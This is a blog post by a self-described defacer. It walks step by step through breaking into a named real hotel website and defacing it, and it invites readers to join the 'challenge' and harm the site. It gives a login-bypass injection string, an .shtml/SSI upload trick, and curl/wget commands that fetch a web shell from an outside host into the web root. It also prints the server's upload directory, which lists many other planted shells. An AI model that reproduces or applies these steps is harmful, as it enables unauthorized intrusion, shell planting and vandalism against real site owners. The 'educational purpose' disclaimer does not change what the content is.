500 Internal Server Error Bypass | ssi/shtml shell upload by B14ck_EyE – SQLi Basic

ssi/shtml shell upload | 500 Internal Server Error Bypass

Assalamu Walaikum
I am B14ck_EyE as u know
Today I wanna show u how to upload shell in a website where having problem execute php
as
500 internal server error

Defacing Challenge (Easy)
site:aHR0cDovL3d3dy5tc2hvc3BpdGFsaXR5Lmlu
Task:Upload Your Deface Page in public_html(see my POC)
Rules:Dont use reverse ip :p
My POC:
http://www.mshospitality.in/index.html
Solvers:
1.Faisal Afzal
2.Anthony Edward Stark
3.Shaifullah Shaon
4.
5.
comment your POC to get in solvers list & please harm the website =D :v

We needed to bypass admin panel using xpath sql injection

here I used
email: admin@admin.com
pass: ‘or’1’=’1

its my uploader
just follow me

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, webmaster@mshospitality.in and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 Server at www.mshospitality.in Port 80

500 Internal Server error
Try to upload html
follow me 😀

Hacked Test By B14Ck_EyE
Challenged Completed by B14Ck_EyE

Here html successfully worked

Now I tried to use null byte shell as image 😀

Same error
that means here php not be executable

Now try to upload shtml file 😀

http://www.mshospitality.in/upload/1480755910project_test.shtml

Here successfully working shtml file

so we needed to upload shtml shell

http://www.mshospitality.in/upload/1480756058project_ssi.shtml

shtml working 😀

now We try to upload our shell 😀

0331c160795dadadf957d87bb13daa84.jpg
0b5a5b6c7a66a7d12ac6ebb7065845e2.jpg
1.txt
11.txt
1389189245project_dummy1.jpg
1394435404project_1.jpg
1394435414project_2.jpg
1394435424project_3.jpg
1394435434project_4.jpg
1394435446project_5.jpg
1394435454project_6.jpg
1394435462project_7.jpg
1394445613project_hanwantmahaltoppic.jpg
1394445690project_1135headerpic.jpg
1394445713project_hanwantmahaltoppic.jpg
1394445725project_hanwantmahaltoppic.jpg
1394445753project_hanwantmahaltoppic.jpg
1394445920project_1135headerpic.jpg
1394445956project_hanwantmahaltoppic.jpg
1394445984project_royalcelebrationheaderpic.jpg
1394449387project_royallogo.png
1394449394project_royallogo.png
1394450491project_enquiryicon.png
1394450910project_shadow.png
1394456557project_exploreicon.png
1394456572project_shadow.png
1394456579project_exploreicon.png
1394633070project_hanwantlogo.png
1394633084project_1135logo.png
1394633103project_royallogo.png
1394707997project_hanwantlogo.png
1394708013project_1135logo.png
1394708075project_royallogo.png
1394720197project_1.jpg
1394720210project_2.jpg
1394783387project_3.jpg
1394783427project_4.jpg
1394783451project_5.jpg
1394783474project_6.jpg
1394783494project_7.jpg
1394783774project_1135headerpic.jpg
1394803578project_slide-img-4.jpg
1395216033project_1135headerpic.jpg
1395216074project_hanwantmahaltoppic.jpg
1395216099project_royalcelebrationheaderpic.jpg
1395216473project_1135headerpic.jpg
1395216483project_1135headerpic.jpg
1395216511project_1135headerpic.jpg
1395216549project_1135headerpic.jpg
1395216569project_1135headerpic.jpg
1395216773project_hanwantmahaltoppic.jpg
1395216784project_hanwantmahaltoppic.jpg
1395216799project_hanwantmahaltoppic.jpg
1395216820project_hanwantmahaltoppic.jpg
1395216878project_hanwantmahaltoppic.jpg
1395216925project_hanwantmahaltoppic.jpg
1395217292project_royalcelebrationheaderpic.jpg
1395217311project_royalcelebrationheaderpic.jpg
1395217339project_royalcelebrationheaderpic.jpg
1395217369project_royalcelebrationheaderpic.jpg
1395217401project_royalcelebrationheaderpic.jpg
1395223218project_1135headerpic.jpg
1395223257project_1135headerpic.jpg
1395223269project_1135headerpic.jpg
1395223285project_royalcelebrationheaderpic.jpg
1395223304project_hanwantmahaltoppic.jpg
1395223319project_hanwantmahaltoppic.jpg
1395223882project_1135headerpic.jpg
1395230450project_1135headerpic.jpg
1395400260project_royalcelebrationheaderpic.jpg
1395402900project_Sheesh_Mahal_2_copy.jpg
1395403031project_Sheesh_Mahal_2_copy.jpg
1395403145project_04_Swarna_Mahal.JPG
1395403192project_377720_415411085188039_1217465187_n.jpg
1395403296project_table.jpg
1395404101project_1.jpg
1395404282project_2.jpg
1395404361project_4.jpg
1395407612project_1135headerpic.jpg
1395409333project_royalcelebrationheaderpic.jpg
1406825455project_Desert.jpg
1406875590project_Chrysanthemum.jpg
1406875694project_Chrysanthemum.jpg
1406876741project_1395409333project_royalcelebrationheaderpic.jpg
1406884235project_Desert.jpg
1406885562project_1395409333project_royalcelebrationheaderpic.jpg
1406890034project_1395409333project_royalcelebrationheaderpic.jpg
1406894327project_1395409333project_royalcelebrationheaderpic.jpg
1407157261project_her.jpg
1407743945project_ext5.jpg
1407744045project_ext1.jpg
1407744084project_ext2.jpg
1407744097project_ext3.jpg
1407744109project_ext4.jpg
1407744136project_ext5.jpg
1407744261project_sheeshmain.jpg
1407744352project_sheeshmain.jpg
1407744445project_sheesh_table.jpg
1407744460project_sheeshmahal1.jpg
1407744482project_sheeshmahal2.jpg
1407744499project_sheeshmahal3.jpg
1407744520project_sheeshmahal4.jpg
1407744531project_sheeshmahal5.jpg
1407744755project_shahiaangan1.jpg
1407744821project_shahiaangan1.jpg
1407744839project_shahiaangan2.jpg
1407744853project_shahiaangan3.jpg
1407744871project_shahiaangan4.jpg
1407744890project_shahiaangan5.jpg
1407745020project_suryamahal1.jpg
1407745070project_suryamahal1.jpg
1407745101project_suryamahal2.jpg
1407745109project_suvarnamahal0.jpg
1407745122project_suvarnamahal1.jpg
1407745149project_suvarnamahal2.jpg
1407745174project_suvarnamahal3.jpg
1407745180project_suvarnamahal4.jpg
1407745209project_suvarnamahal5.jpg
1407745293project_pvtterrace1.jpg
1407745319project_pvtterrace1.jpg
1407745359project_pvtterrace2.jpg
1407745381project_pvtterrace3.jpg
1407745388project_pvtterrace4.jpg
1407745547project_hanwantmahal.jpg
1407745573project_hanwantmahal.jpg
1407745583project_hanwantmahal2.jpg
1407745600project_hanwantmahal3.jpg
1407745862project_hw_amrindersingh.jpg
1407745934project_hw_amrindersingh.jpg
1407745996project_rahuldravid_hw.jpg
1407746010project_ashishnehara_h.jpg
1407746040project_karan_billmoria.jpg
1407746055project_sonamkapoorhw.jpg
1407746076project_shanewatson.jpg
1407746115project_cickter.jpg
1407746144project_hellomag_1.jpg
1407746158project_hellomag_2.jpg
1407746179project_hellomag_3.jpg
1407746227project_hellomag_4.jpg
1407746284project_raghu_rathore_1.jpg
1407746337project_raghu_rathore_1.jpg
1407746352project_angadkhan.jpg
1407746379project_gajsingh.jpg
1407746401project_gajsingh2.jpg
1407746441project_preeti_sameer_shuhag.jpg
1407746529project_rickstein_hw.jpg
1407746673project_hellomag5.jpg
1407747532project_majlis1.jpg
1407747569project_majlis1.jpg
1407747588project_majlis2.jpg
1407747603project_majlis3.jpg
1407747610project_majlis4.jpg
1407747629project_majlis5.jpg
1413360782project_1395407612project_1135headerpic.jpg
1413360918project_1395216773project_hanwantmahaltoppic.jpg
1413465190project_hanwantmahaltoppic.jpg
1413467002project_1135headerpic.jpg
1414411357project_1395223269project_1135headerpic.jpg
1414412450project_hanwantlogo.png
1421755896project_Madspot.php
1421755977project_Madspot.php
1427291711project_1407745573project_hanwantmahal.jpg
1427311224project__50_.jpg
1427311357project__135__copy.jpg
1427311379project__143_.jpg
1427311425project_02-8×10-_2_Print.jpg
1427311438project_03-8×12-_2_Print.jpg
1427311462project_09.-_8x12_-_2_-_Print.jpg
1427356694project__278_.jpg
1427619356project_clinton.jpg
1427619435project_soni1.jpg
1427619460project_soni2.jpg
1427619748project_rathore.jpg
1427619785project_rathore.jpg
1434048506project_1407745020project_suryamahal1.jpg
1434048712project_1407745109project_suvarnamahal0.jpg
1434048766project_1407745020project_suryamahal1.jpg
1448210910project_u.php
1448210950project_Pakistan.html
1453107995project_soft.php
1457611692project_priv.jpg.php
1457611781project_priv.php
1457611812project_stup.php
1457611863project_cage.php
1460998652project_upp.php
1460999343project_FB_IMG_14566875174830113.jpg
1461011790project_mini.php
1461012024project_mini.php
1461012142project_minii.PhP
1461012663project_hshel.php..jpg
1461012790project_newshell.php3
1461012823project_zeee.pHP3
1461012940project_newshell.php3
1465444392project_shell.Phtml
1465444473project_00000000000000000000.Phtml
1465444512project_index.html
1465444558project_index.html
1465444606project_index.html
1466701054project_pca.php
1469297638project_king.html
1469297863project_ctr.html
1469298566project_kkkk.html
1469298865project_PageDeface.HTML
1469298969project_PageDeface.HTML
1469299038project_kkkk.html
1471117531project_Index.php
1474684866project_book.php
1476024522project_dh.php
1476025270project_dh.php
1476026147project_blksql.html
1476064473project_12.php
1476298615project_popanda.php
1476298785project_index3.html
1476299834project_index2.html
1476304983project_popanda.html
1476305332project_popanda.html
1476322494project_new_deface.html
1476412919project_TT-Shell.php
1476414317project_TT-Shell.php
1476415868project_b374k.php5.jpg
1476415967project_b374k.php5
1476425968project_index.html
1476426168project_index.html
1476426258project_index.html
1476426731project_index.html
1476427231project_Cute_Anna_with_shave_clean_sexy_Pussy_sucking_fucking_hard.jpg
1476795592project_wcg.php
1476795657project_received_161971367594238.jpeg
1476795727project_r.html
1476795801project_r.html
1476796268project_r.html
1476796432project_r.html
1476796571project_r.html
1478350283project_indexFor-Ind.html
1478356541project_za.php
1478356569project_mini.php
1478356682project_fud.php
1478356774project_up.php
1478356825project_za.php
1478356834project_up.PhP2
1478356940project_up.php
1478404047project_500.php
1478404083project_clean.php
1478404681project_Minion.jpg
1478404755project_61deUH0YT9L._SX522_.jpg
1478405479project_fud.PhP
1478419364project_up.php
1478419388project_up.PhP2
1478419408project_up.PHP
1478419422project_up.pHp
1478419443project_mini.phtml
1478419471project_up.phP4
1478627924project_14947791_1829267847286398_7298840031724537540_n.jpg
1478844264project_up.php
1480047785project_upppy.php
1480048285project_upppy.php
1480048325project_Ghost.php
1480067831project_NEW.HTML
1480075333project_PicsArt_10-11-12.19.56.jpg
1480075687project_PicsArt_10-11-12.19.56.jpg
1480151423project_received_1806504962950112.jpeg
1480153346project_3ca_shell-3CArmy.php
1480153398project_ERROR_SQUAD-1.php
1480153449project_wso-2.8.php.jpg
1480181866project_15107385_251744818576478_6410785766490643113_n.jpg
1480693225project_works.php
1480693305project_Pakistan_Zindabad.html
1480693628project_works.php
1480694286project_works.php
1480696532project_trh.pjpeg
1480696550project_trh.phtml
1480696781project_1.jpg.pjpg.jpg.php
1480696797project_1.jpg.pjpg.pHp1
1480696827project_1.pjpg.phP3.png.php
1480696905project_1.jpg.pjpg.pHp1.jpg.pjpeg
1480696957project_1.jpg.pjpg.pHp1.jpg….php.phtml
1480698967project_trh.php
1480702195project_Uploader.phtml
1480702245project_Alone_programmer@420@Died@damn.php
1480702318project_Uploader.phtml
1480702687project_uploader.php
1480703685project_uploader.php
1480703909project_ssi.shtml
1480704076project_uploader.pHp2
1480720312project_sec.out
1480729112project_upk.php
1480729235project_upk.php
1480732898project_gamer.php
1480746684project_Wso1.php.pjpg
1480749930project_up.phP
1480750033project_up.php.;jpg
1480752181project_me.html
1480752917project_a.txt
1480753001project_a.php
1480753068project_sly.php
1480753348project_sly.jpg
1480753505project_slayer.php.jpg
1480753636project_slayer.php.jpg
1480753669project_Birthday-Wish-Display-Picture.png
1480753825project_up.php
1480753992project_ctr.shtml
1480754014project_1.PhP
1480754063project_ctr.shtml
1480754354project_ss.shtml
1480755542project_up.php
1480755693project_test.html
1480755852project_jpeg.php
1480755910project_test.shtml
1480756058project_ssi.shtml
1c3038735d244a87244367d7c3a76024.pdf
1dd2e3dea4d45b4f3438969bd6f3c864.php
324c93ef963395fff556f01b98b821f7.jpg
32ebe0eeca79f638401aef1871d2f7d0.jpg
3595abafc653b2b2efd383bf6e4ebbc0.jpg
3ffa7bff440e359b0192f4cd16dec413.php
40675a0888ced0a97b83d39038d01cf6.jpg
4435272737dedb39eda01ab705b94ed3.php
491e94773b33a3d73c35da90f15c3f18.jpg
4a57fb96022f0c8207fff95201352314.shtml
4da7e9e044fa0e7dfb07158fe19b3886.jpg
5360c4648d363e2d6754d484979f17bf.php335
5b74930b63b1ea7ca5a43df7e02040f7.jpg
5fdb05133ed864fa32101fe6831ccce4.php
6010af591c1d78604e2e80e981cef655.php
6066eb0bf24e34159c4abbc6d19beb55.jpg
6207f93bb9e1d783551e41136bafc89e.asp
62e1f6fc2436603d37062562e3d9e206.jpg
663aced9b643a4c539afd388a836ba24.php
67197cf54809f59769d7b369b69e1cc2.php
6fe653c585c9c057727b6b45ee9ede7c.php
7256c1a36ee9ce3be29f27803506bcd2.php
7936d05ef65adc2f91f0b24598bd66de.shtml
803ed757acdf4e09875ae56da54e1115.jpg
8340c88155f4ac6a98228e2677a223c2.jpg
8e27ea2db7346953cd8d04ac03a12ea7.php
90626a2066900bb041a7604725579938.jpg
91651889ce04d422086304361a25a710.jpg
9430b1593b1a84ebb5ca7069d6d9390d.jpg
97e09e6f7771466732855d807fbe3802.php
984ff311a1429eb56c0a2698d31c4c45.jpg
9f5d94c0e2074a869f6079f420fad877.php
a12885aa2ceb9df8c0786493809388c4.jpg
a46f431bab731a701d4cbaf5fc2e661c.jpg
aabbd24d0234257af4cfd8b0bc5abd7a.png
b1ed2ce1f745ee9dd9272a6567ace985.pdf
b50bead7ecf0ffe312a3332ad7414011.php
b99fe84998276fbb891d3aa5bedf6fab.htaccess
bc5cc35a46790c03c2857b398925958b.jpg
c10941559c37cd36d47f0c1ed49ef8fc.pl
c4c6dcf5242de219f421f0e8641616ee.jpg
d0308e34cec16735b4bc7636030b0d1b.php
d0bff252ccac3039922b1ac93ab7574b.html
d4c8675c7372514a192fcfeb4f977926.png
d5970426f46f36950fb0f8230d357474.jpg
df9a981451ea205e16379b897ad60f9e.jpg
dipu.txt
dipu111.txt
e6914cf1ed81396d65fd1da81822f628.pdf
e73fea8f2d88f284d7625fdca635072c.jpg
e979b5336e2072ea89579d92912d8df5.Phtml
ef088a408fc90a15d646b72fad507543.php
f4e5b206e2ebc3f8592a49132611d1b9.jpg
fe03f957aff4b30608e2486ddc604706.jpg
ff.php
sp.shtml
spade.php
spade.txt
wget

We needed to wget command or curl command to upload shell

here 1st I used wget command for upload shell 😀

Here wget command not be working
I used here
wgethttp://privshells.com/upload/r00t.txt -o root.php

now try using curl command as like

curl http://privshells.com/upload/r00t.txt -o root.php

curl command working 😀
now try to find shell 😀

http://www.mshospitality.in/upload/root.php
not working
same issue.

500 Internal server Error

so now I tried to upload shell in main directory in public_html

so now I used curl command like

curl http://privshells.com/upload/r00t.txt -o ../root.php

it’s one way to upload shell in main directory
another way is 😀

like 😀

lol
uploader not working

😀

http://www.mshospitality.in/TeaMRoX.htm

Challenged completed 😀

Nice.

Thanks to
Chaudhary Hamza
Antony Edward Stark
and also My Dear Team.

Allah Hafez
Thanks to watch my video

sorry for my bad connection and also bad English :

This Channel Just for Educational Purpose. One of the best ways is not responsible for the authorities.
Stay With us to Learn Basic SQLi with Manual.




Leave a Reply

Your email address will not be published. Required fields are marked *

Name *
Email *
Website